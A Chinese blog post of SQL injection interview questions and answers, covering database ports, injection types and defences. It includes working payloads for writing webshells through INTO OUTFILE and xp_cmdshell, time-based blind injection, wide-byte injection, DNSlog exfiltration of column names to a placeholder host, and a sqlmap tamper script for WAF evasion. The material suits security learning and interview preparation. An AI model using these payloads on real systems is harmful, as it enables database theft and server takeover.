SQL注入的那些面试题总结
一、知识储备类
1.SQL与NoSQL的区别?
SQL:关系型数据库
NoSQL:非关系型数据库
存储方式:SQL具有特定的结构表,NoSQL存储方式灵活
性能:NoSQL较优于SQL
数据类型:SQL适用结构化数据,如账号密码;NoSQL适用非结构化数据,如文章、评论
2.常见的关系型数据库?
mysql、sqlserver、oracle、access、sqlite、postgreSQL
3.常见的数据库端口?
关系型:
mysql:3306
sqlserver:1433
orecal:1521
PostgreSQL:5432
db2:50000
非关系型:
MongoDB:27017
redis:6379
memcached:11211
4.简述数据库的存储引擎
数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得特定的功能。
InnoDB:主流的存储引擎,mysql默认存储引擎
MyISAM:查询、插入速度快,不支持事务
MEMORY:hash索引、BTREE索引
5.SQL注入有哪几种注入类型?
从注入参数类型分:数字型注入、字符型注入、搜索型注入
从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入
从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入
6.SQL注入的危害及防御?
危害:
数据库泄露
数据库被破坏
网站崩溃
服务器被植入木马
防御:
代码层面对查询参数进行转义
预编译与参数绑定
利用WAF防御
7.如果存在SQL注入怎么判断不同的数据库?
根据报错信息判断
根据执行函数返回的结果判断,如len()和lenth(),version()和@@version等
根据注释符判断
8.mysql的网站注入,5.0以上和5.0以下有什么区别?
从sql注入的角度来说,mysql5.0以下版本没有information_schema这个系统库,无法列出表名列名,只能暴力跑
9.Mysql一个@和两个@什么区别
一个@是用户自定义变量
两个@是系统变量,如@@version、@@user
10.MYSQL注入/绕过常用的函数
注入常用函数:
database() 返回当前数据库名
user() 返回当前数据库用户名
updatexml() 更新xml文档,常用于报错注入
mid() 从指定字段中提取出字段的内容
limit() 返回结果中的前几条数据或者中间的数据
concat() 返回参数产生的字符串
group_concat() 分组拼接函数
count() 返回指定参数的数目
rand() 参数0~1个随机数
flood() 向下取整
substr() 截取字符串
ascii() 返回字符串的ascii码
left() 返回字符串最左边指定个数的字符
ord() 返回字符的ascii码
length() 返回字符串长度
sleep() 延时函数
等价函数绕过,反之亦可:
group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()
11.UDF提权原理?
mysql支持用户自定义函数,将含有自定义函数的dll放入特定的文件夹,声明引入dll中的执行函数,使用执行函数执行系统命令
12.MSSQL差异备份原理及条件?
原理:
完整备份后,再次对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份成asp即可getshell
条件:
MSSQL具有dbo或sa权限
支持堆叠查询
找到网站的绝对路径
二、实操技能类
1.SQL注入写shell的条件,用法
条件:
当前用户具有dba权限
找到网站绝对路径
网站有可写目录
mysql的配置secure_file_priv为空
用法:
mysql:
id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23
sqlserver:
id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --
2.sql注入过滤了逗号,怎么弄?
join绕过:
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
3.sleep被禁用后还能怎么进行sql注入
benchmark代替sleep:
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
笛卡尔积盲注:
select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
RLIKE盲注:
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)
4.什么是宽字节注入?如何操作?
宽字节注入:
当php开启gpc或者使用addslashes函数时,单引号
'被加上反斜杠\',其中\的URL编码为%5C,我们传入%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql用GBK编码时会认为%df%5C是一个宽字符縗,于是%df%5C'便等价于縗',产生注入。
操作:
id=1%df' and 1=2 union select 1,2,user(),4 %23
5.怎样进行盲注速度更快?
DNSlog盲注:
id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\\cHr1s'))--+
6.什么是二次注入?
参数传入的恶意数据在传入时被转义,但是在数据库处理时又被还原并存储在数据库中,导致二次注入。
举例:
注册用户名
admin'#用户,传入值为admin\'#,但是在存储数据库时值变为admin'#,此时若修改密码为123456,管理员admin密码就被修改为123456
7.sql注入常见的过WAF方法?
内联注释绕过
填充大量脏数据绕过
垃圾参数填充绕过
改变提交方式绕过,如GET方式变为POST方式提交
随机agent头绕过
fuzz过滤函数,函数替换绕过
8.sqlmap如何编写tamper?
tamper固定模板如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高
- LOWEST = -100
- LOWER = -50
- LOW = -10
- NORMAL = 0
- HIGH = 10
- HIGHER = 50
- HIGHEST = 100
dependencies
用于提示用户tamper适用范围,具体代码如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
DBMS.MYSQL代表MYSQL,其他数据库类推
Tamper
tamper关键函数,用于定义过滤规则,示例代码如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!29440AND*/')
payload=payload.replace('ORDER','/*!29440order*/')
payload=payload.replace('LIKE USER()','like (user/**/())')
payload=payload.replace('DATABASE()','database/*!29440*/()')
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
payload=payload.replace('SLEEP(','sleep/**/(')
return payload
fuzz出具体payload后对关键字符进行替换
将上述过程简单总结来回答hr问题即可
SQL注入的那些面试题总结的更多相关文章
- SQL注入的简单认识
写在前面 MYSQL5.0之后的版本,默认在数据库中存放一个information_schema的数据库,其中应该记住里面的三个表SCHEMATA.TABLES.COLUMNS SCHEMATA表:存 ...
- JAVA—SQL注入
之前看到的一道java面试题,Statement与PreparedStatement的区别,什么是SQL注入,如何防止SQL注入 前面部分比较好回答 1.PreparedStatement支持动态设置 ...
- sql注入-原理&防御
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
随机推荐
- SpringBoot中如何监听两个不同源的RabbitMQ消息队列
spring-boot如何配置监听两个不同的RabbitMQ 由于前段时间在公司开发过程中碰到了一个问题,需要同时监听两个不同的rabbitMq,但是之前没有同时监听两个RabbitMq的情况,因此在 ...
- java面试一日一题:字节java后端工程师面试题
今天来分享下字节一面面试题,各位小伙伴看看都能答上来吗,弄懂下面的问题你离字节又近了一步哦,加油吧 1.自我介绍: 2.问到项目中为什么选择hbase,如果有多个查询条件如何设置数据存储方案: 3.t ...
- JMeter之BeanShell常用内置对象
一.什么是Bean Shell BeanShell是一种完全符合Java语法规范的脚本语言,并且又拥有自己的一些语法和方法; BeanShell是一种松散类型的脚本语言(这点和JS类似); BeanS ...
- WSL2:在Windows系统中开发Linux程序的又一神器
作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...
- chage 修改用户密码时间限制
chage [options] LOGIN chage针对用户的密码过期时间.过期提前多少天警示等功能实现,passwd也可以实现,但是passwd --expire参数是直接用户密码过期,强制用户下 ...
- MQTT 4 ——MQTT的Spring Mvc 配置接收字节流数据
本篇记录一下MQTT整合Spring Mvc配置直接收发字节流数据 设备方是纯C开发,并且为了交互数据的安全,将传送的数据用了AES CBC进行了加密. 接下来正常方便做法应该是 将加密后的字节流转换 ...
- 实验 2 Scala 编程初级实践
实验 2 Scala 编程初级实践 一.实验目的 1.掌握 Scala 语言的基本语法.数据结构和控制结构: 2.掌握面向对象编程的基础知识,能够编写自定义类和特质: 3.掌握函数式编程的基础知识,能 ...
- Java基础00-字符串14
1. API 1.1 API概述 2. String String常用类的常用方法 String字符串变量的创建: 声明: String 变量名; String str; 声明并初始化: Str ...
- 简单梳理 ES6 函数
箭头函数 箭头函数提供了一种更加简洁的函数书写方式.基本语法是 参数 => 函数体 基本用法: var f = v => v; //等价于 var f = function(a){ ret ...
- 【技巧】使用PPT更换背景色
主要记述使用PPT来更换图片某一部分的背景色 把想要更改的图片粘贴到PPT里. 依次选择[格式][颜色][设置透明色],然后点击需要更改背景的地方 将自己的目标颜色复制一下,填充上去,选择[置于底层]